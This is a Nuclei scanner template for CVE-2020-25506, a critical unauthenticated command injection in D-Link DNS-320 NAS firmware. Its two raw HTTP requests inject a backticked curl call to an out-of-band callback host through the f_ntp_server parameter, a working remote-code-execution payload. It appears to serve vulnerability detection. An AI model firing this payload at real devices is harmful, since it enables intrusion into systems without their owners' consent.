nuclei-templates/http/cves/2020/CVE-2020-25506.yaml

58 lines
2.2 KiB
YAML

id: CVE-2020-25506
info:
name: D-Link DNS-320 - Unauthenticated Remote Code Execution
author: gy741
severity: critical
description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
remediation: |
Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
reference:
- https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2020-25506
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10183
- https://www.dlink.com/en/security-bulletin/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-25506
cwe-id: CWE-78
epss-score: 0.97424
epss-percentile: 0.99926
cpe: cpe:2.3:o:dlink:dns-320_firmware:2.06b01:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: dlink
product: dns-320_firmware
tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev
variables:
useragent: '{{rand_base(6)}}'
http:
- raw:
- |
POST /cgi-bin/system_mgr.cgi? HTTP/1.1
Host: {{Hostname}}
Accept: */*
C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`
- |
POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# digest: 4a0a004730450220633757d40715e614b870029a486cd8d2b4bff277f391a482711d0412df632342022100f1cf6121358a581263db10ba1f652f5a98507025e36e0fc033bcc6d219babff8:922c64590222798bb761d5b6d8e72950